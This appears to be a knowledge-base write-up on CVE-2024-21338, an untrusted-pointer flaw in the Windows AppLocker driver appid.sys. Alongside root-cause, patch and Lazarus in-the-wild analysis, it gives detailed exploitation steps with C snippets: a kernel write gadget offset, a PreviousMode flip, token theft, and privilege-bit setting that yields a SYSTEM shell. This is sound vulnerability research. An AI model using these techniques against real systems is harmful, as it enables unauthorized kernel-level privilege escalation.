CVE-2024-21338 — AppLocker Driver Untrusted Pointer Dereference (appid.sys)

Last updated: 2026-04-11
Severity: High
Component: appid.sys (Windows AppLocker driver)
Bug Class: Untrusted Pointer Dereference → Arbitrary Address Write
Privilege Escalation: LocalService → SYSTEM; also exploited as Administrator → kernel (Lazarus FudModule rootkit)
Patch: February 2024 Patch Tuesday
Tags: kernel-mode, aaw, token-steal, driver, kcfg, smep
Related: Primitives, Mitigations, Researchers


Vulnerability Summary

appid.sys (AppLocker Policy Driver) processes IOCTL 0x22A018 via AipSmartHashImageFile()AppHashComputeFileHashesInternal()AppHashComputeImageHashInternal(). The final function performs two indirect calls through callback pointers whose source is the user-supplied input buffer. An attacker can control both the call target and the first argument, yielding complete RIP takeover from the kernel’s perspective.

ACL restriction: Only LOCAL SERVICE and the AppIDSvc service account have \Device\Appid open permissions. This limits the attack surface — an exploit must run as LocalService or impersonate AppIDSvc.

Driver loading: appid.sys is not loaded by default. Must be loaded via Service Manager or by sending an event to an AppLocker-related ETW provider to start the AppID service.


Root Cause Analysis

Vulnerable Structure (input to IOCTL 0x22A018)

typedef struct _HASH_IMAGE_FILE {
    PVOID    ImageContext;   // +0x00  attacker-controlled; write target = ImageContext + 0x2078
    FILE_OBJECT *FileObject; // +0x08  must be a valid kernel FILE_OBJECT pointer
    PVOID    CallbackTable;  // +0x10  attacker-controlled; VALUE written at target address
    ULONGLONG Action;        // +0x18  unused for exploitation
} HASH_IMAGE_FILE, *PHASH_IMAGE_FILE;

Call Graph

IOCTL 0x22A018 received
  └─► AipSmartHashImageFile(input_buf)
        └─► AppHashComputeFileHashesInternal(ImageContext, FileObject)
              └─► AppHashComputeImageHashInternal(ImageContext, CallbackTable)
                    └─► (*CallbackTable[0])(ImageContext, ...)    ← RIP hijack
                    └─► (*CallbackTable[1])(...)                  ← second callback

Both ImageContext (first argument) and CallbackTable (pointer to callback array) flow directly from the user-controlled buffer without validation.


Exploitation Technique

Challenge: SMEP + kCFG

  • SMEP: calling a user-mode address from ring 0 is blocked; must point to a kernel-space address.
  • kCFG (without HVCI): requires the indirect call target to be within kernel address space (bit 63 set). A random kernel gadget suffices; full CFG bitmap check only applies under HVCI.

The standard approach (nt!SeSetAccessStateGenericMapping) requires a first-argument struct of ≥ 0x50 bytes but the IOCTL input is only 0x20 bytes.

Chosen Gadget: nt!DbgkpTriageDumpRestoreState

Offset from ntoskrnl base (Win11): 0x7f06e0
Effect: *(ImageContext + 0x2078) = *(input + 0x10)   i.e., writes CallbackTable to (ImageContext + 0x2078)

This is a data-only AAW gadget: no user-mode instruction is reached, so SMEP is never triggered. The callback is a valid kernel function entry point, bypassing kCFG’s address-range check.

The gadget essentially performs:

// What DbgkpTriageDumpRestoreState does with the given inputs:
*(PVOID *)(ImageContext + 0x2078) = CallbackTable;

VirtualAlloc Aligned-Pointer Trick

The value written must encode the desired effect in its low bytes. VirtualAlloc allocations are page-aligned (0x1000 boundary), so the low 12 bits of the returned pointer are always 0x000. Allocating at hint address 0x100000 ensures the full 64-bit value is 0x0000000000100000 — a non-null, kernel-safe-looking value whose bit 20 is set (= SeDebugPrivilege bitmask position) and whose low byte is 0x00 (= kernel PreviousMode value).

// Forces allocation at 0x100000 — upper bytes 0, low bytes exactly page-aligned
ULONGLONG *CbTbl = VirtualAlloc((VOID*)0x100000, 0x100, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
CbTbl[0] = ntoskrnl_base + 0x7f06e0;   // DbgkpTriageDumpRestoreState
CbTbl[1] = GetGadgetAddr("HalDisplayString"); // second callback (harmless)

Exploit Path 1: PreviousMode Flip → Kernel AAR/AAW → Token Steal

Target: _KTHREAD.PreviousMode at kThreadAddr + 0x232 (Win11)

DataStruct->ImageContext  = kThreadAddr + 0x232 - 0x2078;
DataStruct->FileObject    = pFileObject;  // valid FILE_OBJECT from CreateFileA("temp.txt")
DataStruct->CallbackTable = (PVOID)0x100000;
// Gadget writes: *(kThreadAddr + 0x232) = 0x100000
// Low byte at +0x232 = 0x00 → PreviousMode = KernelMode

After PreviousMode is 0 in the worker thread:

  1. NtReadVirtualMemory / NtWriteVirtualMemory with hProc = GetCurrentProcess() operate on kernel addresses without bounds checks
  2. Walk EPROCESS.ActiveProcessLinks from current EPROCESS to find System (PID=4)
  3. Copy EPROCESS.Token from System process to current process
  4. Restore: write 0x801 (8 bytes) back to kThreadAddr + 0x232 — restores PreviousMode=1 (UserMode) and adjacent KernelApcDisable/priority byte=8
// Restore PreviousMode — MUST be done before thread exits to avoid KPP fault
ULONGLONG original_value = 0x801;  // PreviousMode=1 (UserMode), BasePriority=8
NtWriteVirtualMemory(hProc, (PVOID)(kThreadAddr + 0x232), &original_value, 8, 0);

Relevant offsets (Win10 22H2 / Win11, confirmed):

FieldOffset
KTHREAD.PreviousMode+0x232
KTHREAD.KPROCESS (ApcState.Process)+0x220
EPROCESS.UniqueProcessId+0x440
EPROCESS.ActiveProcessLinks+0x448
EPROCESS.Token+0x4B8

Exploit Path 2: SeDebugPrivilege Enable → Parent-Process Spoof → SYSTEM

Target: _SEP_TOKEN_PRIVILEGES at kTokenAddr + 0x40 (OFFSET_PRIVILEGES)

_SEP_TOKEN_PRIVILEGES layout:

+0x00  Present   : ULONGLONG   (bitmask of privileges present in token)
+0x08  Enabled   : ULONGLONG   (bitmask of currently enabled privileges)
+0x10  EnabledByDefault: ULONGLONG
  • SeDebugPrivilege = bit 20 → bitmask 0x100000
  • VirtualAlloc at 0x100000 produces the exact bitmask value needed
// Trigger 1: write 0x100000 to kTokenAddr+0x40 (Present field)
DataStruct->ImageContext = kTokenAddr + 0x40 - 0x2078;

// Trigger 2: write 0x100000 to kTokenAddr+0x48 (Enabled field)  
DataStruct->ImageContext += 8;

After both triggers, SeDebugPrivilege is present and enabled. The process can now open winlogon.exe (SYSTEM-level) and spawn a child that inherits winlogon’s token via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS:

// Open winlogon
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPidByName(L"winlogon.exe"));
// Spawn cmd.exe inheriting winlogon as parent → gets SYSTEM token
CreateProcessA(NULL, "cmd.exe", ..., EXTENDED_STARTUPINFO_PRESENT|CREATE_NEW_CONSOLE,
               ..., &si_with_PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pi);

Advantage over PreviousMode path: No need to restore kernel state (privilege bits stay set; process exits normally). Simpler but permanently mutates the token.


Key Primitives Used

PrimitiveSource
KASLR defeatNtQuerySystemInformation(SystemModuleInformation) — works from LocalService
Kernel object pointer leakNtQuerySystemInformation(SystemHandleInformation) — enumerate all handles; match by PID + handle value
Arbitrary 8-byte kernel writeDbgkpTriageDumpRestoreState gadget via IOCTL 0x22A018
kCFG bypassData-only gadget — no indirect call to user-mode, only a kernel write
Unlimited kernel R/WNtReadVirtualMemory / NtWriteVirtualMemory after PreviousMode flip
Token stealEPROCESS walk → token copy (Path 1)
Privilege escalation_SEP_TOKEN_PRIVILEGES.Present/Enabled bit set (Path 2)
SYSTEM shellParent-process spoofing via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (Path 2)

Handle Type Numbers (SystemHandleInformation)

TypeObject
7Token
8Thread
37File

Mitigations Bypassed

MitigationStatusMethod
SMEPBypassedGadget is kernel-space code; no user-mode execution
kCFG (no HVCI)BypassedKernel address range check passes; no indirect call to user memory
KASLRTrivialNtQuerySystemInformation(SystemModuleInformation) works from LocalService
HVCINot bypassedExploit uses data-only attacks; HVCI blocks unsigned code but not data writes

Proof-of-Concept Notes

  • Author: Bùi Quang Hiếu (hieu.q), Crowdfense — published 2024-08-01
  • Original ITW usage: Lazarus Group FudModule rootkit (Avast disclosure) — admin-to-kernel via same IOCTL, used to disable kernel security callbacks for rootkit persistence
  • PoC language: C (Windows.h, winternl.h, ntdll.lib)
  • Compilation: Standard MSVC; ntdll.lib for NtReadVirtualMemory/NtWriteVirtualMemory prototypes
  • Run as: LocalService (via AppIDSvc context) or any process with permissions to open \Device\Appid

Driver Loading Snippet

The AppID service must be running. For testing, either:

  1. Start the AppIDSvc service via Service Manager, or
  2. Send an event to an AppLocker-related ETW provider to trigger driver load

Patch Analysis

The February 2024 patch adds validation of the CallbackTable pointer in AppHashComputeImageHashInternal() — the pointers from _HASH_IMAGE_FILE are no longer treated as trusted kernel addresses before use. The function now validates that the callback targets are within the expected kernel range (or are pre-registered function pointers), breaking the arbitrary RIP control.


In-the-Wild Usage

Lazarus Group (FudModule Rootkit):

  • Detected and reported by Avast (Jan Vojtesek, 2024)
  • Exploited as admin-to-kernel zero-day (not LocalService) — demonstrates the ACL is also accessible from admin processes
  • Used to remove/disable kernel callbacks (ObRegisterCallbacks, PsSetCreateProcessNotifyRoutine) for rootkit persistence
  • Called “FudModule” because the rootkit module evaded AV detection (FUD = Fully UnDetectable)
  • Reference: “Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day” — Avast Decoded blog, 2024

References

  • Bùi Quang Hiếu (hieu.q) / voidsec, “Windows AppLocker Driver LPE Vulnerability - CVE-2024-21338”, Crowdfense, 2024-08-01
  • Jan Vojtesek, “Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day”, Avast Decoded, 2024
  • MSRC Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338
  • BlueFrost CVE-2019-1215 exploit (ws2ifsl) — same SystemHandleInformation pattern referenced in PoC code
  • CVE-2023-28252 CLFS analysis (qianxin) — SeSetAccessStateGenericMapping gadget pattern referenced in PoC